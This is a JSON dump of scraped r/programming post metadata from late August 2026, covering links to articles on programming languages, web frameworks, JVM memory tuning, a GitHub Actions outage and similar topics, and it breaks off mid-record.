[{
  "rowType": "post",
  "id": "t3_1w1iiaw",
  "url": "https://packagemain.tech/p/golang-database-proxy",
  "permalink": "https://www.reddit.com/r/programming/comments/1w1iiaw/coding_a_database_proxy_for_fun/",
  "title": "Coding a database proxy for fun",
  "body": null,
  "author": "der_gopher",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2026-08-29T10:01:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://packagemain.tech/p/golang-database-proxy",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1w1bjk0",
  "url": "https://crystal-lang.org/2026/07/12/releasing-execution-contexts/",
  "permalink": "https://www.reddit.com/r/programming/comments/1w1bjk0/crystal_lang_releasing_execution_contexts/",
  "title": "Crystal Lang: Releasing Execution Contexts",
  "body": "About a month ago, [Crystal](https://crystal-lang.org/)'s multi-threading moved out of preview. I'm a little late with the blog post, but figured I'd share it here in case someone is interested in the language.\n\nTo those unfamiliar with **Crystal**, it's basically an AoT-compiled language with a syntax that's inspired by **Ruby** but with static type safety.\n\nIt doesn't have a big org behind it, so **Manas Tech** still working on the language and shipping enhancements is quite amazing imo. I will add that while it's used by [Kagi](https://kagi.com/) and [Lavinmq](https://lavinmq.com/), I don't think either company has the same resources to pour into **Crystal** as **Jane Street** does with **OCaml**.\n\nI haven't really had the chance to play around with the changes. So, got no clue on what the experience is like. ",
  "author": "Bassfaceapollo",
  "subreddit": "programming",
  "score": 18,
  "upvoteRatio": 0.96,
  "numComments": 0,
  "createdAt": "2026-08-29T03:34:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://crystal-lang.org/2026/07/12/releasing-execution-contexts/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1w190pi",
  "url": "https://gruhn.me/blog/2026-08-29/",
  "permalink": "https://www.reddit.com/r/programming/comments/1w190pi/lean_explained_with_typescript/",
  "title": "Lean explained with TypeScript",
  "body": null,
  "author": "ngruhn",
  "subreddit": "programming",
  "score": 27,
  "upvoteRatio": 0.87,
  "numComments": 6,
  "createdAt": "2026-08-29T01:30:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gruhn.me/blog/2026-08-29/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1w12s1m",
  "url": "https://softwaremill.com/log-first-or-table-first-apache-kafka-fluss-and-streaming-tables/",
  "permalink": "https://www.reddit.com/r/programming/comments/1w12s1m/logfirst_or_tablefirst_apache_kafka_fluss/",
  "title": "Log-first or Table-first? Apache Kafka, Fluss, & Streaming Tables",
  "body": null,
  "author": "mmatloka",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.6,
  "numComments": 0,
  "createdAt": "2026-08-28T21:03:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://softwaremill.com/log-first-or-table-first-apache-kafka-fluss-and-streaming-tables/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1w0w1pp",
  "url": "https://four.htmx.org/announcements/2026-08-28-htmx-4.0.0-is-released",
  "permalink": "https://www.reddit.com/r/programming/comments/1w0w1pp/htmx_400_has_been_released/",
  "title": "htmx 4.0.0 has been released!",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 415,
  "upvoteRatio": 0.92,
  "numComments": 28,
  "createdAt": "2026-08-28T16:54:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://four.htmx.org/announcements/2026-08-28-htmx-4.0.0-is-released",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1w0u6rw",
  "url": "https://pvrlabs.xyz/articles/spring-boot-256mb-jdk25.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1w0u6rw/followup_running_the_same_spring_boot_app_on_a/",
  "title": "Follow-up: Running the same Spring Boot app on a 256 MB VPS with JDK 25",
  "body": "Follow-up to my 512 MB Spring Boot experiment: I tried the same application on a 256 MB Alpine VPS.\n\nJDK 21 struggled badly at this size, but with JDK 25 and a tuned 80 MB heap, the app plus lightweight monitoring completed a one-hour run without restarts or OOM kills.\n\nStill not something I’d recommend for normal production, but the difference was interesting.",
  "author": "fykup",
  "subreddit": "programming",
  "score": 18,
  "upvoteRatio": 0.82,
  "numComments": 0,
  "createdAt": "2026-08-28T15:45:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pvrlabs.xyz/articles/spring-boot-256mb-jdk25.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1w06vn1",
  "url": "https://blog.cloudflare.com/dns-cache-memory-optimization-1111/",
  "permalink": "https://www.reddit.com/r/programming/comments/1w06vn1/how_we_saved_100_terabytes_of_memory_by/",
  "title": "How we saved 100 terabytes of memory by optimizing 1.1.1.1’s DNS cache",
  "body": null,
  "author": "Ok_Stomach6651",
  "subreddit": "programming",
  "score": 1849,
  "upvoteRatio": 0.98,
  "numComments": 50,
  "createdAt": "2026-08-27T21:19:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.cloudflare.com/dns-cache-memory-optimization-1111/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vztl74",
  "url": "https://sarans.so/articles/how_jekyll_works",
  "permalink": "https://www.reddit.com/r/programming/comments/1vztl74/how_jekyll_works/",
  "title": "How Jekyll Works",
  "body": "I like Jekyll a lot. Hope you find it useful. \n\nIf you notice any errors or have thoughts to share, don't hold back in the comments or DMs. All feedback is genuinely welcome 🙂.",
  "author": "sarans22",
  "subreddit": "programming",
  "score": 26,
  "upvoteRatio": 0.74,
  "numComments": 9,
  "createdAt": "2026-08-27T13:11:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sarans.so/articles/how_jekyll_works",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vz921w",
  "url": "https://arxiv.org/abs/2608.23228",
  "permalink": "https://www.reddit.com/r/programming/comments/1vz921w/mold_a_massively_parallel_linker/",
  "title": "mold: A Massively Parallel Linker",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 218,
  "upvoteRatio": 0.96,
  "numComments": 29,
  "createdAt": "2026-08-26T20:37:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arxiv.org/abs/2608.23228",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vz715a",
  "url": "https://packagemain.tech/p/golang-datastar",
  "permalink": "https://www.reddit.com/r/programming/comments/1vz715a/how_to_drive_your_frontend_from_the_backend/",
  "title": "How to drive your frontend from the backend",
  "body": null,
  "author": "der_gopher",
  "subreddit": "programming",
  "score": 83,
  "upvoteRatio": 0.86,
  "numComments": 16,
  "createdAt": "2026-08-26T19:26:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://packagemain.tech/p/golang-datastar",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vz5v47",
  "url": "https://openrun.dev/blog/litestream/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vz5v47/sqlite_in_production_with_builtin_litestream/",
  "title": "SQLite in Production with Built-In Litestream Replication",
  "body": null,
  "author": "avkijay",
  "subreddit": "programming",
  "score": 34,
  "upvoteRatio": 0.96,
  "numComments": 6,
  "createdAt": "2026-08-26T18:44:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://openrun.dev/blog/litestream/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vz2tvh",
  "url": "https://www.humprog.org/~stephen/blog/2026/08/25/#flat-vs-segmented",
  "permalink": "https://www.reddit.com/r/programming/comments/1vz2tvh/flat_vs_segmented_memory_its_recursive/",
  "title": "Flat vs segmented memory -- it's recursive",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.8,
  "numComments": 1,
  "createdAt": "2026-08-26T16:58:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.humprog.org/~stephen/blog/2026/08/25/#flat-vs-segmented",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vz0z6b",
  "url": "https://www.githubstatus.com/incidents/y1t7p9fzrlj2",
  "permalink": "https://www.reddit.com/r/programming/comments/1vz0z6b/github_confirms_actions_outage_caused_by_database/",
  "title": "GitHub confirms Actions outage caused by database issue",
  "body": "If your GitHub Actions jobs are stuck in \"Queued\" or waiting for a runner, GitHub has now confirmed there is an incident.\n\nGitHub says they identified an issue with a database primary and are failing over to a replica.\n\nActions is affected, and GitHub Pages is also experiencing degraded performance.\n\nSo if you have been checking your workflow, runner settings, permissions or billing, it might not be your configuration.\n\nStatus page:\n\n[https://www.githubstatus.com/incidents/y1t7p9fzrlj2](https://www.githubstatus.com/incidents/y1t7p9fzrlj2)\n\nHopefully this saves someone else from spending an hour debugging their YAML.",
  "author": "Codeblix_Ltd",
  "subreddit": "programming",
  "score": 731,
  "upvoteRatio": 0.97,
  "numComments": 80,
  "createdAt": "2026-08-26T15:53:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.githubstatus.com/incidents/y1t7p9fzrlj2",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vyxi4r",
  "url": "https://ducklabs.com/news/2026/08/26/ducklabs-to-join-aws",
  "permalink": "https://www.reddit.com/r/programming/comments/1vyxi4r/ducklabs_to_join_aws_projects_to_remain_open/",
  "title": "DuckLabs to Join AWS, Projects to Remain Open Source",
  "body": null,
  "author": "BluebirdDifficult260",
  "subreddit": "programming",
  "score": 27,
  "upvoteRatio": 0.86,
  "numComments": 18,
  "createdAt": "2026-08-26T13:43:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ducklabs.com/news/2026/08/26/ducklabs-to-join-aws",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vyw6tj",
  "url": "https://jfmengels.net/concurrent-linter-fixes/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vyw6tj/problem_with_concurrent_linter_fixes/",
  "title": "Problem with concurrent linter fixes",
  "body": null,
  "author": "jfmengels",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.62,
  "numComments": 4,
  "createdAt": "2026-08-26T12:50:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jfmengels.net/concurrent-linter-fixes/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vyuagp",
  "url": "https://yui.dev/blog/minesweeper-in-247-bytes",
  "permalink": "https://www.reddit.com/r/programming/comments/1vyuagp/the_depths_of_javascript_minesweeper_in_247_bytes/",
  "title": "The Depths of JavaScript: Minesweeper in 247 Bytes",
  "body": null,
  "author": "yui01",
  "subreddit": "programming",
  "score": 118,
  "upvoteRatio": 0.93,
  "numComments": 6,
  "createdAt": "2026-08-26T11:23:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://yui.dev/blog/minesweeper-in-247-bytes",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vypl1c",
  "url": "https://hamvocke.com/blog/git-revisions-by-text/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vypl1c/find_git_commits_by_commit_message_text/",
  "title": "Find Git Commits by Commit Message Text",
  "body": null,
  "author": "rahmanism",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.15,
  "numComments": 0,
  "createdAt": "2026-08-26T06:58:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hamvocke.com/blog/git-revisions-by-text/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vynzwf",
  "url": "https://www.youtube.com/watch?v=hpj6r6CjJf8",
  "permalink": "https://www.reddit.com/r/programming/comments/1vynzwf/casey_muratori_the_root_of_the_root_of_all_evil/",
  "title": "Casey Muratori – The Root of The Root of All Evil – BSC 2026",
  "body": null,
  "author": "cdb_11",
  "subreddit": "programming",
  "score": 202,
  "upvoteRatio": 0.88,
  "numComments": 116,
  "createdAt": "2026-08-26T05:30:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=hpj6r6CjJf8",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vycpx9",
  "url": "https://denyspoltorak.medium.com/latency-optimizations-on-the-system-level-40dd45ddf2db?source=friends_link&sk=effc0de4d25dbafa2211130463187b31",
  "permalink": "https://www.reddit.com/r/programming/comments/1vycpx9/latency_optimizations_on_the_system_level/",
  "title": "Latency optimizations on the system level",
  "body": null,
  "author": "wineandcode",
  "subreddit": "programming",
  "score": 48,
  "upvoteRatio": 0.88,
  "numComments": 4,
  "createdAt": "2026-08-25T21:11:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://denyspoltorak.medium.com/latency-optimizations-on-the-system-level-40dd45ddf2db?source=friends_link&sk=effc0de4d25dbafa2211130463187b31",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vyb1js",
  "url": "https://fgiesen.wordpress.com/2026/08/25/memory-ordering-in-cpus/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vyb1js/memory_ordering_in_cpus/",
  "title": "Memory ordering in CPUs",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.82,
  "numComments": 2,
  "createdAt": "2026-08-25T20:11:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fgiesen.wordpress.com/2026/08/25/memory-ordering-in-cpus/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vy6tks",
  "url": "https://medium.com/@aadyachinubhai/scikit-verify-translate-python-numpy-programs-to-symbolic-mathematics-c664d41ba571",
  "permalink": "https://www.reddit.com/r/programming/comments/1vy6tks/how_to_test_if_your_numerical_code_is/",
  "title": "How to test if your numerical code is Mathematically correct?",
  "body": null,
  "author": "Lost-Dragonfruit-663",
  "subreddit": "programming",
  "score": 29,
  "upvoteRatio": 0.76,
  "numComments": 10,
  "createdAt": "2026-08-25T17:43:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@aadyachinubhai/scikit-verify-translate-python-numpy-programs-to-symbolic-mathematics-c664d41ba571",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vy1csq",
  "url": "https://cekrem.github.io/posts/bun-plugin-elm/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vy1csq/bunpluginelm_import_elm_from_mainelm_made_by_hand/",
  "title": "`bun-plugin-elm`: import { Elm } from \"./Main.elm\" (Made by Hand, btw) · cekrem.github.io",
  "body": null,
  "author": "cekrem",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.24,
  "numComments": 0,
  "createdAt": "2026-08-25T14:25:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cekrem.github.io/posts/bun-plugin-elm/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vxz0z4",
  "url": "https://www.eveonline.com/news/view/the-move-to-python-3-begins",
  "permalink": "https://www.reddit.com/r/programming/comments/1vxz0z4/eve_online_the_move_to_python_3_begins/",
  "title": "EVE Online: The Move to Python 3 Begins!",
  "body": null,
  "author": "output_broadcast",
  "subreddit": "programming",
  "score": 770,
  "upvoteRatio": 0.97,
  "numComments": 283,
  "createdAt": "2026-08-25T12:53:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.eveonline.com/news/view/the-move-to-python-3-begins",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vxyb6o",
  "url": "https://youtu.be/1dIjb9A4uow?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
  "permalink": "https://www.reddit.com/r/programming/comments/1vxyb6o/every_event_everywhere_all_at_once_jacqui_read/",
  "title": "Every Event, Everywhere, All at Once • Jacqui Read",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2026-08-25T12:22:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/1dIjb9A4uow?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vxud0f",
  "url": "https://acadia.engineering/blog/solving-the-1-plus-N-query-problem",
  "permalink": "https://www.reddit.com/r/programming/comments/1vxud0f/solving_the_1n_query_problem/",
  "title": "Solving the 1+N Query Problem",
  "body": null,
  "author": "wheatBread",
  "subreddit": "programming",
  "score": 119,
  "upvoteRatio": 0.85,
  "numComments": 91,
  "createdAt": "2026-08-25T08:56:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://acadia.engineering/blog/solving-the-1-plus-N-query-problem",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vxl0w4",
  "url": "https://pvrlabs.xyz/articles/spring-boot-512mb-vps.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1vxl0w4/running_a_java_spring_boot_app_on_a_512_mb_vps/",
  "title": "Running a Java Spring Boot app on a 512 MB VPS with lightweight monitoring",
  "body": "I wanted to see how a fairly representative Java Spring Boot application behaves on a very small VPS, especially the difference between configured heap and actual JVM process memory.\n\nThe test app uses Spring Boot 3.5.x, Spring MVC, JPA/Hibernate, H2, embedded Tomcat, Actuator, scheduled work, and outbound HTTP. I also kept lightweight monitoring on the same machine.\n\nThe original 256 MB configuration was too tight. With **512 MB RAM + 256 MB swap**, the application completed the test reliably.\n\nFull setup and measurements are in the linked article.\n\nSince then I’ve also managed to get the same application working on a **256 MB VPS with swap using JDK 25 Compact Object Headers and tighter JVM settings**. I’m preparing that as a separate follow-up experiment.",
  "author": "fykup",
  "subreddit": "programming",
  "score": 22,
  "upvoteRatio": 0.73,
  "numComments": 9,
  "createdAt": "2026-08-25T00:49:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pvrlabs.xyz/articles/spring-boot-512mb-vps.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vx81cr",
  "url": "https://fzakaria.com/2026/08/23/your-executable-is-a-sqlite-database",
  "permalink": "https://www.reddit.com/r/programming/comments/1vx81cr/your_executable_is_a_sqlite_database/",
  "title": "Your executable is a SQLite database",
  "body": null,
  "author": "segv",
  "subreddit": "programming",
  "score": 479,
  "upvoteRatio": 0.95,
  "numComments": 77,
  "createdAt": "2026-08-24T16:41:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fzakaria.com/2026/08/23/your-executable-is-a-sqlite-database",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vx3ygt",
  "url": "https://lwn.net/Articles/1086344/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vx3ygt/blocklayer_error_injection/",
  "title": "Block-layer error injection",
  "body": null,
  "author": "haris3301",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.91,
  "numComments": 0,
  "createdAt": "2026-08-24T14:11:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lwn.net/Articles/1086344/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vwyjg2",
  "url": "https://besok.github.io/posts/what-zig-felt-like-coming-from-rust/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vwyjg2/what_zig_felt_like_coming_from_rust/",
  "title": "What Zig felt like, coming from Rust",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 252,
  "upvoteRatio": 0.88,
  "numComments": 171,
  "createdAt": "2026-08-24T10:06:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://besok.github.io/posts/what-zig-felt-like-coming-from-rust/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vwvdom",
  "url": "https://tanstack.com/blog/tanstack-table-v9-memory-performance",
  "permalink": "https://www.reddit.com/r/programming/comments/1vwvdom/how_an_underrated_refactor_saved_90_memory_usage/",
  "title": "How an Underrated Refactor Saved 90% Memory Usage",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 160,
  "upvoteRatio": 0.87,
  "numComments": 29,
  "createdAt": "2026-08-24T07:00:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tanstack.com/blog/tanstack-table-v9-memory-performance",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vwb745",
  "url": "https://blog.tymscar.com/posts/howtoreportabug/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vwb745/how_to_report_a_bug_so_it_actually_gets_fixed/",
  "title": "How To Report A Bug So It Actually Gets Fixed",
  "body": null,
  "author": "tymscar",
  "subreddit": "programming",
  "score": 222,
  "upvoteRatio": 0.92,
  "numComments": 33,
  "createdAt": "2026-08-23T16:08:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.tymscar.com/posts/howtoreportabug/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vw91lz",
  "url": "https://kciter.so/posts/how-to-design-animation/en/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vw91lz/how_to_design_an_animation/",
  "title": "How to Design an Animation",
  "body": null,
  "author": "kciter",
  "subreddit": "programming",
  "score": 78,
  "upvoteRatio": 0.9,
  "numComments": 6,
  "createdAt": "2026-08-23T14:44:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kciter.so/posts/how-to-design-animation/en/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vw6z10",
  "url": "https://youtu.be/grjThkqV7uU?si=ei9cvzSS69v0MDS7",
  "permalink": "https://www.reddit.com/r/programming/comments/1vw6z10/why_so_many_languages_use_llvm/",
  "title": "Why so many languages use LLVM",
  "body": null,
  "author": "Ok_Marionberry8922",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.35,
  "numComments": 20,
  "createdAt": "2026-08-23T13:17:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/grjThkqV7uU?si=ei9cvzSS69v0MDS7",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vw0y4v",
  "url": "https://youtu.be/BOrAVwwCXq8",
  "permalink": "https://www.reddit.com/r/programming/comments/1vw0y4v/compiler_optimizations/",
  "title": "Compiler Optimizations",
  "body": null,
  "author": "theapplebi",
  "subreddit": "programming",
  "score": 38,
  "upvoteRatio": 0.75,
  "numComments": 2,
  "createdAt": "2026-08-23T07:51:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/BOrAVwwCXq8",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vvs2tt",
  "url": "https://youtu.be/e1mMWAbf0XQ?si=Li2XS1mM3aswJfXY",
  "permalink": "https://www.reddit.com/r/programming/comments/1vvs2tt/debugging_starcraft_rts_micro_starcraft_bot/",
  "title": "Debugging Starcraft RTS Micro (Starcraft Bot Competition)",
  "body": null,
  "author": "LaughNgamez",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.68,
  "numComments": 2,
  "createdAt": "2026-08-23T00:06:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/e1mMWAbf0XQ?si=Li2XS1mM3aswJfXY",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vvrbyb",
  "url": "https://rushed-reflections.bearblog.dev/an-unlikely-experiment/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vvrbyb/the_unlikely_linux_macro/",
  "title": "The unlikely Linux macro",
  "body": "Wrote a bit about the \\`unlikely\\` and \\`likely\\` macros in the Linux codebase. Great little exploration into tiny optimizations that everyone should know more about 😄 ",
  "author": "chaobang",
  "subreddit": "programming",
  "score": 181,
  "upvoteRatio": 0.93,
  "numComments": 61,
  "createdAt": "2026-08-22T23:33:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rushed-reflections.bearblog.dev/an-unlikely-experiment/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vvf3p0",
  "url": "https://balusc.omnifaces.org/2026/08/nextjs-dynamic-routes-now-also.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1vvf3p0/nextjs_dynamic_routes_now_also_available_in_faces/",
